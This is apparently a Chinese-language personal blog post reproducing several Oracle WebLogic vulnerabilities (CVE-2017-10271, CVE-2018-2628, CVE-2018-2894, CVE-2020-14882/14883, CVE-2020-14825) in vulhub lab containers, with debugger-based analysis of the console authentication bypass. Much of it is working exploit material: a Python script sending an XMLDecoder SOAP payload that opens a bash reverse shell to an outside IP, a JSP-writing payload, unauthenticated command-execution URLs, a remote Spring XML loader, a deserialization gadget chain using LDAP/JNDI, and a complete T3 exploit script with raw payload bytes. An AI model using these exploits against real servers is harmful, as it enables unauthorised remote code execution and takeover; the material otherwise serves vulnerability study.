Weblogic 漏洞复现
环境无特殊说明都是vulhub上的环境,复现内容也多为vulhub上的。
参考文章
CVE-2020-14882&14883:Weblogic RCE复现
CVE-2020-14825:Weblogic反序列化漏洞复现
Weblogic漏洞——从入门到放弃 – FreeBuf网络安全行业门户
CVE-2020-14882\CVE-2020-14883漏洞分析 – 安全客,安全资讯平台 (anquanke.com)
CVE-2020-14882:Weblogic Console 权限绕过深入解析 – 安全客,安全资讯平台 (anquanke.com)
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
原理分析
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。
漏洞复现
判断
访问http://localhost:7001/wls-wsat/CoordinatorPortType11
,查看是否存在以下界面:
反弹shell
import HackRequests
hack = HackRequests.hackRequests()
raw = '''
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/172.25.204.194/2333 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
hh =hack.httpraw(raw)
print(hh.text)
写入文件 (访问:http://127.0.0.1:7001/bea_wls_internal/test.jsp
)
import HackRequests
hack = HackRequests.hackRequests()
raw = '''
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
hh =hack.httpraw(raw)
print(hh.text)
CVE-2018-2628 Weblogic反序列化
from vulhub
原理分析
CVE-2018-2628 Weblogic反序列化漏洞分析
漏洞复现
首先下载ysoserial,并启动一个JRMP Server:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8848 CommonsCollections1 "touch /tmp/fe1w0"
其中,[command]
即为我想执行的命令,而[listen port]
是JRMP Server监听的端口。
然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001
)发送数据包:
python exp.py 192.168.1.5 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.1.5 8848 JRMPClient2
其中,[victim ip]
和[victim port]
是目标weblogic的IP和端口,[path to ysoserial]
是本地ysoserial的路径,[JRMPListener ip]
和[JRMPListener port]
第一步中启动JRMP Server的IP地址和端口。[JRMPClient]
是执行JRMPClient的类,可选的值是JRMPClient
或JRMPClient2
。
很魔幻的是,并不能执行反弹和执行创建文件这些命令,不知道为什么。
Weblogic 任意文件上传漏洞(CVE-2018-2894)
漏洞分析与环境
WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】
漏洞复现
执行docker-compose logs | grep password
可查看管理员密码,管理员用户名为weblogic
,密码为Cvo7X5BM
。
登录后台页面http://your-ip:7001/console
,点击base_domain
的配置,在“高级”中开启“启用 Web 服务测试页”选项:
访问http://your-ip:7001/ws_utc/config.do
,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的。
然后点击安全 -> 增加,然后上传webshell:
上传后,查看返回的数据包,其中有时间戳:
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,如http://localhost:7001/ws_utc/css/config/keystore/1613896058991_webshell.jsp
链接哥斯拉:
CVE-2020-14882 weblogic 未授权命令执行复现
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本
weblogic 10.3.6.0.0
weblogic 12.1.3.0.0
weblogic 12.2.1.3.0
weblogic 12.2.1.4.0
weblogic 14.1.1.0.0
漏洞复现
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
http://localhost:7001/console/css/%252e%252e%252fconsole.portal
访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession
,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/fe1w0');")
进入容器,可以发现touch /tmp/fe1w0
已成功执行:
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession
类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://192.168.1.5:80000/rce.xml
:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/rce]]></value>
</list>
</constructor-arg>
</bean>
</beans>
python -m http.server
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://localhost:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.5:8000/rce.xml")
这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。
漏洞分析
参考学习于:
CVE-2020-14882&14883:Weblogic RCE复现 – SecPulse.COM | 安全脉搏
CVE-2020-14882\CVE-2020-14883漏洞分析 – 安全客,安全资讯平台 (anquanke.com)
CVE-2020-14882:Weblogic Console 权限绕过深入解析 – 安全客,安全资讯平台 (anquanke.com)
调试Debug环境搭建
首先修改docker-compose.yml
,添加远程debug端口
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"
- "8055:8055"
再重新创建docker-compose up -d
之后进入docker容器内部修改/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh
,采用复制的方法
修改为如下(需要重启):
JAVA_PROPERTIES="${JAVA_PROPERTIES} ${CLUSTER_PROPERTIES}"
export JAVA_PROPERTIES
JAVA_DEBUG=""
export JAVA_DEBUG
local_debug="true"
export local_debug
debugFlag="true"
DEBUG_PORT="8055"
修改IDEA配置,如图
如下图,说明链接成功
同时我们还需要将docker中的源码复制出来:
sudo docker cp 3eda3:/u01/oracle/ ./ # 复制weblogic全部源码
mkdir dep && cp `find ./* -name "*.jar"` ./dep #将jar包全部集中复制到一起
最后将dep文件夹右击添加为库,此时dep中的所有jar包都可以展开和打断点了。
这里有一个坑点,在整个项目中会有两console.jar
一个是webapp
中的(这是我们要debug的),另一个是consolehelp
中的,而上面的cp操作的可能是复制了consolehelp
,若是没有注意,下面就没法做。
RCE部分
调试该部分由于没有加绕过,所以请在登录到后台之后进行
payload:
http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("yahaha")
记得对里面的特殊字符进行URL编码
根据越南兄弟的补丁对比,第一处修改有:
/dep/console.jar!/com/bea/console/handles/HandleFactory.class
补丁在debug区内,只允许handleClass参数进来
如果没修改的情况,可以发现这里可以任意指定类,并获得其以字符串为参数的构造函数,然后进行初始化。
如下示例:
package com.fe1w0.weblogic;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
/**
* @description 此部分用于测试HandleFactory代码中的classLoader
* @Author fe1w0
*/
public class test {
static public void main(String args[]){
try{
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
String cmd = "calc";
// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
}catch (Exception e){
e.printStackTrace();
}
}
}
args被输入数据完全控制,但无论如何只会获得一个值:
由此我们可以推断出,通过url传入的参数handle我们可以获得具有string作为构造函数的类。
ShellSession利用
com.tangosol.coherence.mvel2.sh.ShellSession就是大佬们找到的类,我们先看看这个类:
com.tangosol.coherence.mvel2.sh.ShellSession就是大佬们找到的类,我们先看看这个类:
/dep/coherence-rest.jar!/com/tangosol/coherence/mvel2/sh/ShellSession.class
这里尝试使用payload:
http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime('ls');");
34进行步入,然后就可以发现后面很秀
接着步入
之后的this._exec()
会解析命令并执行
com/tangosol/coherence/mvel2/sh/ShellSession.class
天秀
未授权访问url部分
找到未授权的路由
我们注意到POC前面但组成部分其实还含有路径穿越问题,即这段/console/images/%252E%252E%252F,之所以会这样构造是因为存在二次URL编码绕过问题,但这种直接把写黑名单的方式,并不是很好的修复方式。
传送门:
这里对路径穿越几个关键字符及其URL编码加以限制,那几个URL解出来%.%.,..,<,>,基本属于不带..玩了,我们马上来看看,为什么要禁止这几个字符吧:
首先是weblogic的校验函数:
/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/security/internal/WebAppSecurity.class.checkAccess
该函数会校验请求的路由是否经过校验,这个校验的标志由getConstraint函数提供,打上断点之后F7来到了
/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/security/internal/WebAppSecurityWLS.class
测试命令:
curl http://127.0.0.1:7001/console/console.portal
评估,表达式为this.getConstraint(getRelativeURI(req), req.getMethod())
下图为命令为curl http://localhost:7001/console/css/%252e%252e%252fconsole.portal
我们可以看看这个函数具体是什么情况:
这里会返回一个类StandardURLMapping,从参数名来看一个是对所有方法响应的路由,一个是对某个方法响应的路由:
看看StandardURLMapping类:
从函数名来看,这里应该是直接忽略的URL列表
对比得到的matchMap,我们的console.protal是不在这个列表里面的:
后面我们会进入else分支,这里会校验是否有用户session,由于我们没登录自然得到了null,随后这个session又会被拿去鉴权,自然也是无法通过的。
我们可以去访问一下/css目录比较一下:
curl http://127.0.0.1:7001/console/css/
此处对应的校验id为/css/*,与console.protal唯一的不同便是unrestricted=true,curl命令的结果为404
这里404是因为没有设置默认的界面,但总之我们成功访问到了:
分析路由设置,
到这边,我思路一开始没有跟不上师傅的分析🤦♂️ 🙁
幸运的是,后来看到另外两篇对14882中路由的分析.
CVE-2020-14882\CVE-2020-14883漏洞分析 – 安全客,安全资讯平台 (anquanke.com)
CVE-2020-14882:Weblogic Console 权限绕过深入解析 – 安全客,安全资讯平台 (anquanke.com)
weblogic和其他JavaWeb应用类似,它有web.xml,我们知道web.xml里面配置了servlet信息,去看看:
docker cp 0ec70f688dec:/u01/oracle/wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml ./
其中这两处信息最重要:
这里告诉我们*.protal后缀但内容会被AppManagerServlet处理,而之前我们看到的matchMap中的内容(路径,如/css
),则被定义成资源,没有配备对应的servlet
servlet
对应关系部分如下:
/framework/skeletons/wlsconsole/js/* -> FileDefault
/css/* -> AsyncInitServlet
/images/* -> AsyncInitServlet
/common/* -> JSPCServlet
...
所以我猜测挖洞的大佬这时候就开始考虑,如果我在不鉴权的目录下,访问只有servlet能处理的文件会怎样,根据web.xml中的内容找到对应servlet--/dep/com.oracle.weblogic.servlet.jar!/weblogic/servlet/AsyncInitServlet.class
打上断点,利用
curl http://127.0.0.1:7001/console/css/console.portal
结果为:
于是,请求/css/*
会调用AsyncInitServlet
的service
方法
然后这里如果直接加上payload是不会触发handle的断点:
curl "http://127.0.0.1:7001/console/css/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/testok%27);%22);"
但使用能执行的payload时,确实是由这个servlet处理的:
要想办法在/css目录,就触发handle,从而实现未授权RCE,而这里就需要目录穿越。
触发handle
漏洞爆出之后我们知道了,其实触发handle的方法就是对../进行url双重编码。
具体分析可以看原文,或CVE-2020-14882:Weblogic Console 权限绕过深入解析 – 安全客,安全资讯平台 (anquanke.com)
一次url编码肯定是正常的 ,这是每个中间件都会做的事情,那我们顺着这条调用栈继续往下跟进,这段代码位于UIServletInternal.getTree处,在这里应用对已经进行了一次url编码的URI进行了第二次url编码,测试curl "http://localhost:7001/console/css/%252e%252e%252fconsole.portal"
dep\netuix_servlet.jar!\com\bea\netuix\servlets\manager\UIServletInternal.class
发现一开始传入为
由requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());
处理后
由于在后续的一系列操作中weblogic并没有在对路径穿越进行防范,从而可以触发handle
。
CVE-2020-14825 Weblogic反序列化漏洞复现
Oracle官方在2020年10月份发布的最新安全补丁中修复了许多安全漏洞,其中黑名单类oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor可造成反序列化漏洞。该漏洞允许未经身份验证的攻击者通过IIOP,T3进行网络访问,未经身份验证的攻击者成功利用此漏洞可能接管Oracle Weblogic Server。
影响版本
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
环境搭建与漏洞复现
环境搭建
Weblogic下载链接:
选择 12.2.1.4 的 Generic 版本进行下载安装即可,安装过程注意JDK版本造成的安装失败(建议JDK 1.8)以及以管理员权限运行安装包。此外,安装过程中,为方便后续其他漏洞利用,安装类型可选择“含示例的完整安装”。
我是安装CVE-2020-14645:Weblogic远程代码执行复现 (qq.com)这篇进行安装 的
安装完之后,直接运行安装目录下的启动脚本即可,路径如下:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd
启动脚本后,浏览器访问
http://127.0.0.1:7001/console
漏洞复现
1、编译poc文件并通过python部署在http服务器,poc文件如下:
public class Exp {
// POC open calc
public Exp(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args){
Exp e = new Exp();
}
}
将编译产生的 class 文件部署在 python 起的 http 服务器
python -m http.server 80
2、启动 ldap 服务链接到 poc 文件
$java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exp 1389
3、运行 payload 文件生成反序列化数据文件,通过t3协议传输
payload 文件见:
注意 这些包需要自己下载配置,其中
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
和org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor
简直一口吐血
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.util.PriorityQueue;
public class CVE_2020_14825 {
public static void main(String[] args) throws Exception {
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("Timeline Sec");
accessor.setIsWriteOnly(true);
accessor.setGetMethodName("getDatabaseMetaData");
// accessor.setGetMethodName("connect");
LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/#Exp");
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
Reflections.setFieldValue(queue,"size",2);
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
out.writeObject(queue);
out.flush();
out.close();
// readObject();
}
public static void readObject() {
FileInputStream fis = null;
try {
fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
和org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor
的jar…找了一个上午,就是没找到,后来在Download dependencies for java class oracle.eclipselink (jar-download.com)
下载这个并添加就行
深深的怨念,为什么官网没有,google也无果
python T3 脚本见:
import socket
import sys
import struct
import argparse
class WebLogic():
def __init__(self, url, port, ser_file):
self.ip = url
self.port = port
self.sock = self.get_sock(self.ip, self.port)
self.ser_payload = open(ser_file,'rb').read()
@staticmethod
def get_sock(ip, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (ip, port)
sock.connect(server_address)
print("[INFO]: connecting to %s port %s" % server_address)
except Exception as e:
print("[ERROR]: " + str(e))
return sock
def t3_hand(self):
handshake = b't3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n'
print("[INFO]: sending handshake packet ...")
print("[INFO]: <<< Packet Content >>>")
print(handshake.decode())
print("[INFO]: <<< Packet Content >>>")
self.sock.sendall(handshake)
data = self.sock.recv(1024)
print("[INFO]: received handshake data")
print("[INFO]: <<< Packet Content >>>")
print(data.decode())
print("[INFO]: <<< Packet Content >>>")
def choose(self):
payload_1 = b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload_2 = b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
return payload_1, payload_2
def poc(self):
try:
self.t3_hand()
payload_1, payload_2 = self.choose()
payload = payload_1 + self.ser_payload + payload_2
payload = struct.pack("!i", len(payload)) + payload[4:]
print("[INFO]: Sending payload ...")
self.sock.send(payload)
except Exception as e:
print("[ERROR]: " + str(e))
if __name__ =="__main__":
if len(sys.argv) == 1:
sys.argv.append('-h')
parser = argparse.ArgumentParser(description='WebLogic POC & EXP Basic Script',add_help=True)
parser.add_argument('-u','--url',default=None,help='WebLogic服务器ip',type=str)
parser.add_argument('-p','--port',default=7001,help='WebLogic服务器端口(默认7001)',type=int)
parser.add_argument('-f','--file',default=None,help='payload序列化数据文件',type=str)
args = parser.parse_args()
if args.url and args.file:
try:
target = WebLogic(args.url, args.port, args.file)
target.poc()
except Exception as e:
print("Something ERROR!")
print("[ERROR]: " + str(e))
exit()
漏洞分析 [暂且搁置]
害怕,师傅分析的文章,需要有很多东西提前了解学习
先看完,这两篇再说